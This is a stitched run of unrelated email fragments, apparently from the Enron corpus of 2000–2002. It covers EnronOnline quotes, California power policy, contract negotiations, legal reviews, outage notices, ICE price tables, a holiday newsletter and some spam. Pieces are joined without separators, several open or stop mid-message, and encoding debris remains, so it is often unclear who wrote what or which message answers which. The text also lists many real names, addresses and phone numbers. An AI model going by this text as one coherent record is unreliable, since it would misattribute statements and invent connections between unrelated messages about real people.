Niger  Nigeria  Niue  Norfolk Island  Northern Mariana Islands  Norway  Oma=
n  Pakistan  Palau  Panama  Papua New Guinea  Paraguay  Peru  Philippines  =
Pitcairn Island  Poland  Portugal  Puerto Rico  Qatar  Reunion  Romania  Ru=
ssia  Rwanda  Saint Helena  Saint Kitts And Nevis  Saint Lucia  Saint Pierr=
e and Miquelon  Saint Vincent And The Grenadines  Samoa  San Marino  Sao To=
me and Principe  Saudi Arabia  Senegal  Seychelles  Sierra Leone  Singapore=
  Slovakia  Slovenia  Solomon Islands  Somalia  South Africa  South Georgia=
 And The South Sandwich Islands  Spain  Sri Lanka  Sudan  Suriname  Svalbar=
d And Jan Mayen Islands  Swaziland  Sweden  Switzerland  Syria  Taiwan  Taj=
ikistan  Tanzania  Thailand  Togo  Tokelau  Tonga  Trinidad And Tobago  Tun=
isia  Turkey  Turkmenistan  Turks And Caicos Islands  Tuvalu  Uganda  Ukrai=
ne  United Arab Emirates  United Kingdom  United States  United States Mino=
r Outlying Islands  Uruguay  Uzbekistan  Vanuatu  Vatican City State (Holy =
See)  Venezuela  Vietnam  Virgin Islands (British)  Virgin Islands (US)  Wa=
llis and Futuna Islands  Western Sahara  Yemen  Yugoslavia  Zambia  Zimbabw=
e =09Zip/Post Code *=09 =09
Tracy could be in the draw to WIN a US$40,000 Birthday Bash. It's a luxury =
cruise with 10 friends who have added their birthdays to his birthday book =
- he might just take you!=09
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ink:
<http://www.diarysmart.com/cgi/nw.cgi?5688701X3291>

 =09
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Or if you are already an existing member ...=09
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Please insert your login information below to add your details automaticall=
y to my Birthday Book.=09
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Email Address *=09 =09
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ink:
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m/cgi/nw.cgi?5688701X3291>

 =09
 <http://www.diarysmart.com/diary/Smart?sml_form_id_NAME=3D8423&sml_framese=
t_main=3D10723>=09
 =09

Attached, please find a press release from Governor Davis announcing the
signing of SBX 6 which creates a PPA.

http://www.governor.ca.gov/state/govsite/gov_htmldisplay.jsp?BV_SessionID=@@@@
0298965258.0990051291@@@@&BV_EngineID=eallccemeikbemfcfkmchcng.0&sCatTitle=Pre
ss+Release&sFilePath=/govsite/press_release/2001_05/20010516_L01015_GGD_signs_
SB6X_Power_Authority_bill.html&sTitle=GOVERNOR+SIGNS+CALIFORNIA+%0aPOWER+AUTHO
RITY+BILL%0a&iOID=14801

REUTERS TO PROVIDE ITS CUSTOMERS WITH ENRONONLINE REAL-TIME QUOTES

Effective June 4, 2001, Reuters has launched a new EnronOnline Real-Time Quotes service benefiting commodity traders and industry analysts. Subscribers to this service will be able to view bids, offers and midpoints as well as high, low and closing midpoint and change from previous day indications for numerous commodity products available on EnronOnline.  Subscribers will be able to integrate EnronOnline Real-Time Quotes with Reuters' news, data and analytical tools to view real-time prices and charts as well as create option models, position reports and other analysis.  Initially, the  quotes will be available for power, natural gas, crude oil and refined products, metals, bandwidth, coal, seafreight, emission allowances and weather derivatives markets in North America and Europe.  

For more information, visit www.reuters.com/enrononlinequotes or call Reuters at 1-800-226-3955.  Please forward this e-mail to others who may benefit from this service.

Disclaimer
All prices presented by Reuters through the EnronOnline Real-Time Quotes service shall not constitute or be deemed, for any purposes, to be an offer by EnronOnline or Enron to enter into any transaction on those or any other terms, and are not available through or deemed to be an offer within any trading products that may be offered by Reuters in association with the EnronOnline Real-Time Quotes service. Any use of the EnronOnline.com website is expressly subject to the terms and conditions contained within the EnronOnline.com website, including the registration process detailed therein. By presenting this information within the Reuters site, EnronOnline.com is not representing or indicating automatic qualification for access to or use of the EnronOnline.com website for commodity trading.

The volume and complexity of our legal work has increased dramatically over 
the past few years.  I think this environment requires additional time to be 
devoted to legal planning and review in order to provide the best possible 
service to our clients.  Within the next month, I have asked Janette to 
schedule a Quarterly Legal Review for each group listed on our new 
organizational chart .  I  would envision that we would focus on the 
following:  

review of the current monthly legal report and significant legal issues
review of the top ten legal risks
form contracts and other documentation projects
legal budget
legal resources, inside and outside
performance metrics

In addition, I am proposing that any energy trading contract for a term 
longer than one year by initialled by an AGC or member of the OGC.  Let me 
know what you think about that.

This is a copy of your message sent to Eurowoman71@talkmatch.com -->

Hello,

I saw your picture and profile on the web site and thought I'd drop you a line.  I sent along my profile, take a look and see if there is any interest.  If there is I'd like to hear from you!

Paul

site.

However:

Scott, 
I currently have view only access for EOL.  Can you set me up with a transaction id?  I will run Columbia Gulf Mainline, unless you have other plans.
Scott

Comments?
---------------------- Forwarded by Richard Shapiro/NA/Enron on 04/12/2001 
01:29 PM ---------------------------
From: Tom Briggs on 04/12/2001 11:46 AM
To: Richard Shapiro/NA/Enron@Enron, Alan Comnes/PDX/ECT@ECT
cc:  

Subject: Reliant Negawatt proposal

I have attached a proposal prepared by Reliant.  Reliant hopes that it is 
something that Enron can support (with any modifications).  Steve Walton has 
concerns about the role of the WSCC.  ELCON supports the concept with some 
other modifications.  I recognise that there are issues. Nonetheless, to 
respond to Barton's short term emergency measures, it would be usefule to 
know whther a negawatt program across the WSCC can be im[plemented by June.

Details in exchange for this - 

I read an article this morning that quoted an ISO market analyst speaking 
about the $6.2 billion the system operator would like to recover in charges 
since last spring: "We are not saying now that these are overcharges. We are 
telling the FERC that we see these as the amounts that we deem 'excessive.'" 
The lead of the story was this: "The California Independent System 
Operator......significantly upped the ante Thursday when it told the Federal 
Energy Regulatory Commission that 21 generators and suppliers should refund 
the state a stunning $6.2 billion for electricity sold into the state since 
last May." 

First of all, tell me what the difference is between "overcharges" and 
"excessive" charges. If there isn't one, give me your opinion on why this 
analyst would say such a stupid thing. Second, give me one reason why the 
lead is journalistically incorrect, and one why it is gramatically 
unattractive. 

Then you get details.

Kate

Jeff, sorry about the meeting but BOD meeting is next week and we all have to jump for it. Rick

Jim / Evan - 

As you are probably aware, the performance and surety bond market is difficult for us to navigate in and around in our current situation.  As an example, EFS has been shut out of getting access to new bid and performance / payments bonds for its business that requires these.  We are addressing this with the bonding companies now.  All of their existing bonds are in place and in force.

In light of this, I wanted to make sure that we are absolutely current in all aspects of all bonding requirements with UDC's and LDC's.

Please send me the most current copy of your matrix that illustrates where we have existing bonds in place, what drives the capacity requirements, status, renewal / expiration date, current payment status, etc.  I would like to make sure that we are all clear on how these work, what triggers increases / decreases in capacity, and other issues impacting our ability to continue to flow electricity and natural gas to our clients.

Thanks - Dan

Here is an updated version of the template, it should be easier to use as you have all split out your books into 3 (terminated by the counterparty, not being fulfilled, and active).  Again, this should be as of positions held today.  Based on my discussions with you so far, it looks like this is doable by the end of next week.

Sent:	Tuesday, January 29, 2002 2:58 PM
To:	Sweeney, Kevin; Hall, D. Todd; Hall, Bob M; Gossett, Jeffrey C.; Albrecht, Kristin; Miralles, Albert; Mills, Scott; Reeves, Kathy; Gillis, Brian; Hedstrom, Peggy; Horn, Cindy; Thurbin, Simon
Cc:	Thapar, Raj; Beck, Sally; Pearce, Barry
Subject:	terminated vs non-terminated - request

Now that we have almost all of the Form A information , E&Y needs form B filled out for all commodities.  We would like to have this as of the deals on 1/31/02.

Please let me know when you will be able prepare the schedule (including a reconciliation to your rolls).

 << File: E&Y request.xls >> 

Thanks

Director, Global Risk Operations
X39123

F O R

March 23, 2001 5:00pm through March 26, 2001 12:00am

ENRON NORTH AMERICAN LANS:     ALSO SEE ORIGINAL REPORT
Impact:  ENS
Time:  Fri 3/23/2001 at  10:30:00 PM CT thru Sat 3/24/2001 at  12:30:00 AM CT
 Fri 3/23/2001 at    8:30:00 PM PT thru Fri 3/23/2001 at  10:30:00 PM PT
 Sat 3/24/2001 at  4:30:00 AM London thru Sat 3/24/2001 at  6:30:00 AM London
Outage:  Change IP addresses on the routers for network 172.30.0.0
Environments Impacted:  ETS
Purpose: Multicast is not working correctly until the IP addresses are 
changed.
Backout: none - this change is needed to get multicast to work correctly.
Contact(s):  Scott Shishido     713-853-3780
     
INTERNET:     SEE ORIGINAL REPORT
 
MARKET DATA:      SEE ORIGINAL REPORT
 
OTHER SYSTEMS:     SEE ORIGINAL REPORT

UNIFY:  
Time:  Fri 3/23/2001 at  5:00:00 PM CT thru Mon 3/26/2001 at  8:00:00 AM CT
 Fri 3/23/2001 at  3:00:00 PM PT thru Mon 3/26/2001 at  6:00:00 AM PT
 Fri 3/23/2001 at  11:00:00 PM London thru Mon 3/26/2001 at  2:00:00 PM London
 Fri 3/23/2001 at  4:00:00 PM Calgary thru Mon 3/26/2001 at  7:00:00 AM 
Calgary
Outage:  Unify Financial database migration for production
Environments Impacted:  Unify Financial Users
Purpose: To provide a more stable environment
Backout: Redirect to prior database, codeset.  
Contact(s):  Regan M Smith  713-853-9291  
  Ramesh Rao  713-345-4207  
  Brian Ripley  713-345-4709   

The recipient of the 2000 Chairman's Award has been selected.  Read all about 
it!

German gas monopolies
Emissions trading
Enron's status as market maker with NordPool
Trading satellite capacity

click eBiz, and "eBiz November 17, 2000."

----- Forwarded by Sara Shackleton/HOU/ECT on 08/23/2000 05:22 PM -----

	08/23/2000 03:31 PM
		 
		 cc: 
		 Subject: FW: Delta III - Enron-Citi FAA

----- Forwarded by Mark Taylor/HOU/ECT on 08/23/2000 03:31 PM -----

	MDunn1@milbank.com
	08/23/2000 12:42 PM
		 
		 To: doug.mcdowell@enron.com, craig.clark@enron.com, ryan.siurek@enron.com, 
gareth.bahlmann@enron.com, clint.walden@enron.com, kevin.d.jordan@enron.com, 
mark.taylor@enron.com, carol.stclair@enron.com, brent.vasconcellos@enron.com, 
annmarie.tiller@enron.com, Fcochran@velaw.com, acurry@velaw.com, 
rick.caplan@ssmb.com, steve.incontro@ssmb.com, amanda.angelini@ssmb.com, 
fdevine@jonesday.com, jnr@maples.candw.ky, tmusarra@ustrust.com
		 cc: MDunn1@milbank.com

??????? Please find attached a marked copy of the Enron/Citibank Fiscal 
AgencyAgreement.? Please ignore the marked copy of the Fiscal Agency 
Agreement that was part of the last distribution as it was a reversed 
blackline of the document.? We apologize for any inconenience this may have 
caused.

 <<Enron-Citi FAA - Compare.rtf>> 

Michael B. Dunn, Esq. 

Milbank, Tweed, Hadley & McCloy LLP

1 Chase Manhattan Plaza

New York, NY? 10005

Telephone: (212) 530-5435

Facsimile: (212) 530-5014

E-Mail: mdunn1@milbank.com

 - Enron-Citi FAA - Compare.rtf

Start Date: 2/28/01; HourAhead hour: 3;  No ancillary schedules awarded.  No 

Schedules\2001022803.txt

We have received the executed EEI Master Power Purchase and Sale Agreement 
dated 5/11/2001 from the referenced CP.  Copies will be distributed to Legal 
and Credit.

Ron,

FYI

Vince
---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 01/17/2001 
01:44 PM ---------------------------

"Andrew Kalotay" <andy@kalotay.com> on 01/16/2001 01:33:00 PM
To: "Vincent Kaminski" <vkamins@enron.com>
cc:  
Subject: HVince,edge effectiveness testing for FAS 133

Vince,
As we discussed, subject to minor changes the attached paper will appear in
the J of Applied Corporate Planning.  I'd be most interested in your
comments.
By the way, if you like the yield curve generation process described in the
paper, we'd be happy to perform a simulation, so that you can compare the
results based on the to the HJM procees.
I look forward to getting together with you when you come to NY to attend
the GARP conference, around February 13.  Just give me a brief warning.
Regards,
Andy
Andrew Kalotay Associates, Inc.
(212) 482-0900
andy@kalotay.com

Visit our web-site http://www.kalotay.com

 - FAS133 article.doc

i got a new ride.  i sold the jeep and got a tahoe.  daddy is money

In recognition of the hard work that Bill has done these last six months, I'd like his contract buyout increased to $60,000($30,000 more than is in contract). I am going to do right by people, notwithstanding the circumstances. Please confirm acceptance and OK. Thanks

I will be at school conference until 9 and then into a 9:30 meeting here.

Mary Cook

I believe it is the E-Next Generation LV Co Gen contract.  I believe the last 
draft was around the beginning of April.  I can check for more specifics.

Kay

"Cobb, Chris" <chriscobb@akllp.com> on 04/19/2001 10:53:37 AM
cc: "Thompson, Peter J." <pthompson@akllp.com>, <dale.ramussen@enron.com> 

Subject: FW: GE and ABB comments

Dear Kay and Dale,
 Peter Thompson is on vacation and has asked me to make the
attached changes (sent to Peter by Dale).  They are very
straight-forward and will only take a minute.  However, there are a
couple of contracts to which the changes could potentially apply, and
I'd like to make sure I've got the right one before I start making
changes.  Please let me know which contract needs to be changed, and
I'll take care of the rest.  Thank you, Chris

From: Lindo, Jacqueline E.
Sent: Wednesday, April 18, 2001 1:27 PM
To: Cobb, Chris

Sent: Tuesday, April 17, 2001 9:23 PM
To: Thompson, Peter J.; Kay.Mann@enron.com

Here's what we're hearing from our contractor.  Can you work them in,
Peter?
---------------------- Forwarded by Dale Rasmussen/HOU/ECT on 04/17/2001
06:30 PM ---------------------------

 (Embedded     Enron Capital & Trade Resources Corp.
 image moved
 to file:      From:  Don Hammond
 pic10004.pcx) 04/12/2001 10:32 AM

To:   Bill Williams/PDX/ECT@ECT, Dale Rasmussen/HOU/ECT@ECT
cc:
Subject:  FW: GE and ABB comments

I'm not sure the status of these agreements and the ability or
appropriateness to incorporate changes. But, here's he input for
---------------------- Forwarded by Don Hammond/PDX/ECT on 04/12/2001
10:37

  (Embedded        Enron Capital & Trade Resources
  image moved      Corp.
  to file:
  pic16337.pcx     From:  "Phillips, Bill"
  )                <BPhillips@moderncontinental.com>
                   04/11/2001 04:50 PM

To:   "'don.hammond@enron.com'" <don.hammond@enron.com>
cc:   "Sisson, Bob" <BSisson@moderncontinental.com>

Please consider the attached comments in your final
negotiations with GE and ABB. Hopefully this format
is more user friendly than the whole pile. These are
Lauren/DHEC understanding of requirements to conform
with EPC contract.  Bill Phillips

From: Paul Garner [mailto:pgarner@laurenec.com]
Sent: Wednesday, April 11, 2001 7:41 PM
To: Phillips, Bill
Cc: "Jack Cress"; "Kevin Hargis"; "Mike Shelton"; "Roy Milne"
Subject: GE and ABB comments

Bill,

In reviewing these documents we find that these changes were not
incorporated.  Could you please make certain they are included.

Thanks

Paul

(See attached file: ABB B-1Comments.doc)
(See attached file: GE contract comments.doc)

 - pic10004.pcx
 - pic16337.pcx
 - ABB B-1Comments.doc
 - GE contract comments.doc

Dear Mr Mark E  Haedicke,

I am currently in the process of sourcing papers for the Digital Media Web 
Portal and as a speaker at one of our previous conferences I would like to 
extend the invitation to you to provide a paper.

If you are not yet familiar with the Digital Media Web Portal, it is a unique 
one-stop information service for all media industry professionals and prides 
itself on providing excellent feature articles for our audience.  As an 
independent industry-focussed website we are establishing ourselves at the 
forefront of media providers.  We currently have a subscriber database of 
over 45,000 industry professionals.  Please log onto the Portal 
http://www.digitalmediaweb.com to view past features and interviews.

The topic can be of your choice, as long as it pertains to the digital media 
sector and is non-advertorial in nature. We are looking for a paper 800-1000 
word length and would urge you to take up this opportunity to use the Portal 
as your platform.  If you would like any further information on the Portal, 
or have any queries please do not hesitate to contact me on the details below.

Look forward to discussing this further.

Zoe Ayliffe
Managing Editor
Digital Media World (Australia) Pty Ltd
Tel +61 (02) 9210 5750
Fax +61 (02) 9223 8216
email: mailto:zoe.ayliffe@terrapinn.com
http://www.digitalmediaweb.com

Attached is PIRA's latest "Electricity Daily Demand Forecast."

If you have any questions regarding the report's content, please contact
Morris Greenberg (email: morris@pira.com) or Victoria Watkins (email:
vwatkins@pira.com), at (212) 686-6808.

Contact John Graziano regarding PIRA report distribution and address changes
at (212) 686-6808, email: support@pira.com.

NOTE: Circulation of the "Electricity Daily Demand Forecast" outside a
Client's licensed distribution area is strictly prohibited. Clients that are
unsure of their licensed distribution or require an extension of their
current license should contact their PIRA sales representative, or email to
sales@pira.com.

PIRA Energy Group

 - ed051401.pdf
 - ed051401.xls

Leslie:  Jeff and Susan might be able to help with the pipeline charges.  
Susan:  I'm not ignoring you.  Of course I'll come.  Give me a call and let's 
figure out a date for me to address your illustrious group.  Jeff:  How's 
married life treating you.  Leslie:  Sorry for all the extraneous babbling.

Best,
Jeff

	Leslie Lawner
	01/23/2001 03:20 PM
		 
		 To: mday@gmssr.com
		 cc: Phillip K Allen/HOU/ECT@ECT, James D Steffes/NA/Enron@Enron, Harry 
Kingerski/NA/Enron@Enron, Jeff Dasovich/NA/Enron@Enron, Rebecca W 
Cantrell/HOU/ECT@ECT, Paul Kaufman/PDX/ECT@ECT, Frank Ermis/HOU/ECT@ECT, 
James Shirley/HOU/EES@EES, Roger O Ponce/HOU/EES@EES, Don Black/HOU/EES@EES, 
Robert Neustaedter/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
		 Subject: Response to ORA/TURN petition

Mike - Here is the situation.  Between ENA and EES, we sell gas to core and 
non-core customers, and also have gas in storage as well as in the park and 
lend service.  I think we can be sympathetic to the ORA argument that the 
diversion tariff penalties did not anticipate OFOs and EFOs in situations 
such as we face here (shortages due to credit problems rather than lack of 
supply).  Assessing extreme penalties, as the OFO/EFOs would do, on users who 
are not perfectly imbalance under this situation certainly seems unfair.  
However, I think we should argue that limiting the payments to 
shippers/customers whose gas is diverted to serve core customers to a market 
index may not fully compensate for the diversion.  The pay back specifically 
does not include interstate pipeline charges, and there may be other costs as 
well to the marketer/customer who had supplies taken away.  

I need an estimate of the cost to make this filing and follow it up for the 
RCR process, and I would also like any feedback anyone has on what our 
position should be in this matter.  The response is due Friday. 

Enron HOLIDAY You are invited to the Enron Holiday Open House and Festival =
of=20
Lights on Tuesday, December 19 on the
OPEN HOUSE Executive 50th Floor from 3:00 p.m.-5:00 p.m.  Come enjoy some=
=20
delightful treats and holiday cheer at this
 annual celebration!
=20
Help CPS Kids! Enron, KRBE and Sun and Ski Sports are collecting donations=
=20
for Children's Protective Services' Be A Resource
 (BEAR) Program to purchase gifts this holiday season.  Make your donation=
=20
and receive a $10-off coupon
 for Sun and Ski Sports. Donations will be accepted in EB 407 or the Enron=
=20
Building Lobby - Monday, December 18 from 10:00 a.m.-2:00 p.m.=20

Enron Holiday Choir Come One Come All to hear the Enron Holiday Choir sing=
=20
the sounds of the Holiday Season.  The choir will be performing at the Enro=
n=20
Holiday Open House on Tuesday, December 19th on the Execuctive 50th Floor a=
nd=20
in the Enron Building lobby by the Energizer escalator on Wednesday, Decemb=
er=20
20th at Noon.  Feel free to come and sing along with them as they perform=
=20
some of your holiday favorites.

Houston Cougars vs. Come support the Houston Cougars as they face the Texas=
=20
Longhorns this Wednesday, December 20th at Hofheinz=20
Texas Longhorns Pavilion.  94.5 The Buzz will be at the game collecting ite=
ms=20
for their Santa's Letters promotion. Any fan donating an=20
 item to Santa's Letters will have the opportunity to upgrade their seats t=
o=20
floor seats and one lucky winner will win a suite=20
 to a future game.  Help a family in need this holiday by bringing a new=20
blanket or teddy bear to the game.  Tickets=20
 are available at 713 - GO COOGS.

Theater Tickets for Stages Repertory Theatre, the second largest theatre in=
=20
Houston, presents "Company", Stephen Sondheim's
Adults and Kids! enchanting musical about the difficulties of love and=20
commitment.  Performances run Wednesday through Sunday=20
 every week from now until December 31 and Enron employees receive a $5=20
discount when they order main stage=20
 tickets by phone at 713-527-8243.

 For the little ones, "The Toys Take Over Christmas" is a fun-filled holida=
y=20
story set in an old-fashioned toyshop in the
 early 1900's.  Tickets are $8 per child and include a visit from Santa.=20
Daytime performances run from now until=20
 December 23.  Call 713-527-8243 or visit www.stagestheatre.com to order yo=
ur=20
tickets!

Christmas Homeless The 22nd Annual Christmas Homeless Feast 2000, sponsored=
=20
by the City Wide Club, will be held on December 24 at the
Feast George R. Brown Convention Center from 10:00 a.m. until everyone is=
=20
served.  Volunteers are needed for the event and
 are asked to arrive at 7:00 a.m. at Exhibit C for instructions. Donations =
of=20
food items (especially turkeys) are much=20
 appreciated and can be dropped of at the nearest Thrifty Car Rental stores=
. =20
If you know of a family in need of a warm=20
 meal, please call 713-523-1640 for more information.

Hunger Site Support the Hunger Site, where all you need to do is click a=20
button and somewhere in the world a hungry person
 receives a meal at no cost to you.  The site is backed by corporate=20
sponsors.  All it takes is a second to click an icon
 to donate food once a day.  See www.thehungersite.com for details.

Flu Vaccine The Flu Vaccine is being delivered to the Health Center in smal=
l=20
allotments.  If you would like a flu shot, please=20
 e-mail Health Center.  You will be notified via e-mail when your vaccine=
=20
arrives. =20

The Met-Business The Met-Business & Sports Club is waiving the $200=20
initiation fee for new enrollments in December!  Contact=20
& Sports Club  Susan Jakers or Keri Elliott at The Met at 713-652-0700 or=
=20
Georgia Fogo at ext. 35609 for more information.=20

Share the News
If you would like to post any news or events in Enron In Action, please ema=
il=20
your information to=20
Greg Grissom (ext. 58741) no later than 12:00 noon the Thursday prior to th=
e=20
next Monday=01,s mailing.

A letter is being sent today.  First objective is to keep electricity flowing.  Bill is doing a great job on this.  Greg

Vance,

Deal tickets have been created and entered in Sitara as follows:

Bob

Vance L Taylor
08/28/2000 04:33 PM
To: Robert Cotten/HOU/ECT@ECT
cc: Elizabeth L Hernandez/HOU/ECT@ECT, Lisa Hesse/HOU/ECT@ECT, Trisha 
Hughes/HOU/ECT@ECT, Susan Smith/HOU/ECT@ECT, Donald P Reinhardt/HOU/ECT@ECT, 
Melissa Graves/HOU/ECT@ECT 
Subject: September Spot Purchases

Bob,

HPLC will be purchasing wellhead gas from the producers listed below for the 
production month of September.  This production will be purchased on a "spot" 
basis and deal tickets should be created and entered into sitara based on the 

Counterparty    Meter  Volume Deal #  Price

Whiting Petroleum Corp   6523  200mmbtu/d 382601   91% IF/HSC  
Engage Energy US, LP   5923  775mmbtu/d 382610   100% IF/HSC less $0.24
Engage Energy US, LP   5848  240mmbtu/d 382621  100% IF/HSC less $0.24
Swift Energy    2630  21mmbtu/d 382627   90% IF/HSC less $0.258
Duke Energy Trading & Marketing 6347  200mmbtu/d 382631  85% IF/HSC

Additionally, this are Producer Svcs. deals and should be tracked in the IM 
Wellhead portfolio... attached to the gathering contract.

Thanks,

vlt
x3-6353

I'll attend in person. Tx Rick

From: 	Williamson, Joannie  
Sent:	Friday, December 14, 2001 4:31 PM
To:	Williamson, Joannie; 'john_1_sherriff@hotmail.com'; Bowen Jr., Raymond; Buy, Rick; Causey, Richard; Delainey, David W.; Derrick Jr., James; Dietrich, Janet; Fallon, Jim; Frevert, Mark; Haedicke, Mark E.; Horton, Stanley; Hughes, James A.; Kean, Steven J.; Koenig, Mark; Lay, Kenneth; McMahon, Jeffrey; 'Sherriff, John'; Whalley, Greg
Cc:	Hickerson, Gary; Rieker, Paula; Valencia, Laura; Zoch, Judy; Blackwood, Connie; Chapman, Kay; Daw, Nicki; Elbertson, Janette; Ferrari, Kerry; Fleming, Rosalee; Ford, Sue; Harris, Stephanie J ; Heathman, Karen K.; Marshall, Lucy; McVicker, Maureen; Mendez, Yorleni; Schiller, Marsha; Stark, Cindy; Taylor, Liz; 'Tori Wells'; Westbrook, Sharron
Subject:	RE: Management Committee Meeting - Monday, December 17

The meeting will take place at 11:00a.

Sent:	Friday, December 14, 2001 4:24 PM
To:	'john_1_sherriff@hotmail.com'; Bowen Jr., Raymond; Buy, Rick; Causey, Richard; Delainey, David W.; Derrick Jr., James; Dietrich, Janet; Fallon, Jim; Frevert, Mark; Haedicke, Mark E.; Horton, Stanley; James Hughes; Kean, Steven J.; Koenig, Mark; Lay, Kenneth; McMahon, Jeffrey; Sherriff, John; Whalley, Greg
Cc:	Hickerson, Gary; Rieker, Paula; Valencia, Laura; Zoch, Judy; Blackwood, Connie; Chapman, Kay; Daw, Nicki; Elbertson, Janette; Ferrari, Kerry; Fleming, Rosalee; Ford, Sue; Harris, Stephanie J ; Heathman, Karen K.; Marshall, Lucy; McVicker, Maureen; Mendez, Yorleni; Schiller, Marsha; Stark, Cindy; Taylor, Liz; Tori Wells; Westbrook, Sharron; Williamson, Joannie
Subject:	Management Committee Meeting - Monday, December 17

Please reply and let me know if you will participate in person or via conference call.  The dial-in number is 801-983-4013, please reference Ken Lay.

Thanks,
Joannie
3-1769

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                   For Power Delivered on Monday, October   29, 2001       =
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                                   (Trade Date of Friday, October   26, 200=
1)                                                                         =
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Click here to access index history .                                       =
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                                   * volume represents sell-side only *    =
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Hub=09High=09Low=09Wtd Avg Index=09Change ($)=09Vol (Mwh)=09
Cinergy=09         $32.65=09         $31.05=09         $32.03=09+    .93=09=
         132,800=09
Comed=09         $29.00=09         $27.50=09         $27.88=09+    .61=09  =
         6,400=09
Entergy=09         $28.00=09         $25.85=09         $26.50=09+    .31=09=
          16,000=09
Nepool=09         $40.25=09         $39.75=09         $39.98=09+    .92=09 =
          6,400=09
Palo Verde=09         $35.50=09         $33.00=09         $34.07=09+    .93=
=09          10,000=09
PJM-West=09         $32.50=09         $32.00=09         $32.25=09+   1.86=
=09          32,800=09
SP-15=09         $36.50=09         $32.50=09         $33.78=09+   1.32=09  =
         6,000=09
TVA=09         $34.50=09         $30.00=09         $33.11=09+   2.08=09    =
       8,800=09

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                                   Includes all trades done from 6 AM to 11=
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m power delivered during the on-peak hours (6 AM - 10 PM CPT for Eastern hu=
bs / 6 AM - 10 PM Pacific Prevailing Time for Western hubs) on the delivery=
 date(s) specified.                                                        =
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                       IntercontinentalExchange is the world's most liquid =
trading platform for over-the-counter energy and metals.  Active markets in=
clude North American power and natural gas, global crude and refined oil pr=
oducts, and precious metals.  Traded instruments include forwards, swaps, a=
nd options.                                                                =
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In order to receive the proprietary information contained in this email, yo=
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tinentalExchange Market Data contained herein to any person or entity witho=
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Dear Chuck Randall:

It's time to start your FREE subscription to Incentive magazine, your #1
source for solutions to your organization's motivation and performance
challenges.

To activate your free subscription, just click on the following
hyperlink and complete the order form by Tuesday February 12, 2002.

http://zzz1.net/rd/rd.asp?ZXU=562&ZXD=1471085&UID=1471085

If you cannot link directly to the web site, simply cut and paste the
address listed above into your web browser to your subscription.  Or,
you can print the form and fax it to 847-647-9566.

Each month, Incentive shares successful recognition strategies, provides
case studies on incentive programs and consumer promotions, and
introduces you to the hottest ideas in travel and merchandise awards.
Learn more about the how's and why's that drive top-notch employee and
sales force performance and discover incentive trends.

Five times a year you will also receive a special supplement with
in-depth information focusing on travel destinations, corporate gifts,
people performance and more.

Act now to begin your free subscription to this valuable resource.

Mike Murrell
Group Publisher
IV@halldata.com

P.S.  Respond by February 12, 2002 to activate your free subscription.

This message is brought to you as a valued subscriber to VNU Business
Publications, USA.  To remove your name from the list, please click
here: http://em10.net/UM/CMF.asp?A32.451.1471085

As you have probably observed, power markets have been severely tested this 
summer.  There are many underlying causes (demand growth driven by a strong 
economy, failure of regulators to quickly grant applications for new 
generation, inadequate access to the grid, rate regulation which continues to 
insulate end users from real time price signals, etc.).  But, the soundbite 
on these troubles has been that deregulation has led to problems on the 
grid.  The knee jerk policy response has been price caps and other threats of 
re-regulation.

At the upcoming advisory council meeting, Ken and I were hoping that the two 
of you could discuss the issue and help put it in perspective:

How great of a threat is re-regulation.
How might we respond.
How likely is this issue to play a significant role in election politics?

How soon can you add things like payroll to the picture?.

Sent:	Tuesday, November 27, 2001 11:33 AM
Subject:	FW: NNG & TW Direct Cash Flow Estimate (11/27 -11/30) 

FYI we sent this to treasury at their request.

From: 	Kleb, Steve  
Sent:	Tuesday, November 27, 2001 11:12 AM
To:	Garcia, Paul
Cc:	Geaccone, Tracy
Subject:	NNG & TW Direct Cash Flow Estimate (11/27 -11/30) 

Please find attached file. No major individual ($5.0 MM or greater) receipts or disbursements  anticipated over the last four days this month.

                           << File: NNG&TWDAY01.xls >> 

----- Forwarded by Tana Jones/HOU/ECT on 08/24/2000 04:50 PM -----

	08/24/2000 04:48 PM
		 
		 cc: 
		 Subject: EOL Credit Responses 08/24/00

The EOL approvals for 08/24/00 are attached below.

Regards,
bd

This should be Amerex - Diana is changing it now.

03/12/2001 02:04 PM
cc:  

547298, broker is not showing

As part of the restructuring between ENA and Global Markets and consistent 
with the view to increase our focus on building our core gas and power 
business, we have decided to re-formulate the ENA Management Committee.  As 
part of this change, each of you are invited to participate in dialogue and 
decisions which will impact the overall course of our business. Ultimately, 
this group is responsible for the overall financial performance and strategic 
direction of ENA.  The only structural committment to your time will be a 
pre-scheduled Management Committee meeting every second Friday afternoon 
starting at 2:30 PM until 4:30PM in 30 C2 (video conference room).  The 
Portland, Canadian and Mexican offices can connect via video conference.  The 
meetings wil focus on financial targets, deal flow, market opportunities, 
staffing and strategic direction.  The first meeting will be scheduled on 
this Friday.  

Everybody should make a serious committment to attend, to stay for the entire 
meeting and to be on time.  

Regards
Delainey

how did my august position change?  i didn't trade any august today.

Please change EGS to ETS.  Let me know if you have any questions.  Lets use the Arial font.

Thanks

Tracy

There have been a number of versions of these  documents circulated over the 
weekend, so attached are cumulative blacklines  against the drafts circulated 
on Friday of the following:

1.? Confirm (268099);

2.? Enron Schedule (266279);

3.? Permitted Swap party (265279);  and

4.? Enron Guaranty (268951) (Note:?  This document has been distributed in 
the past as #268347; however, that  document became corrupt so a new document 
had to be created.)

Please contact Danny Sullivan at (214)  659-4645 if you have any questions or 
comments.? Thank you.

?

Deborah Lowe

Andrews & Kurth  L.L.P.

 - Blank Bkgrd.gif
 - 265279.DOC
 - 265279.WPD
 - 266279.DOC
 - 266279.WPD
 - 268099.DOC
 - 268099.WPD
 - 268951.DOC
 - 268951.WPD

In an effort to pull the pieces together, a meeting has been scheduled to 
discuss the draft energy and capacity contract (formerly the PPA).  It is 
scheduled for Thursday, August 24th, at 900am.  We are still in the process 
of locating a conference room, so the location is TBD.

Thanks,

Kay

Here are the most recent comments from VEPCO:

Some of you may have received this already.  I have not compared it against 
what we last sent them.

----- Forwarded by Jeff Dasovich/NA/Enron on 02/06/2001 06:49 PM -----

	Christopher F Calger@ECT
	02/06/2001 06:38 PM
		 
		 To: Jeff Dasovich/NA/Enron@Enron, David W Delainey/HOU/ECT@ECT
		 cc: 
		 Subject: CDWR Summary for Ken Lay

I made one adjustment - Pastoria offer is $58.80.

Based on the discussions we had on Monday, August 14th, the preliminary
project timeline shown below, and your request that some Gas Supply Planning
Personnel be available to review and assist with the work:
Data Collection:  August 15 to September 14
Model Design and Building: September 15 to October 14
Interface Design and Building: October 15 to November 15

Gas Supply Planning proposes the following schedule for visits to Houston:
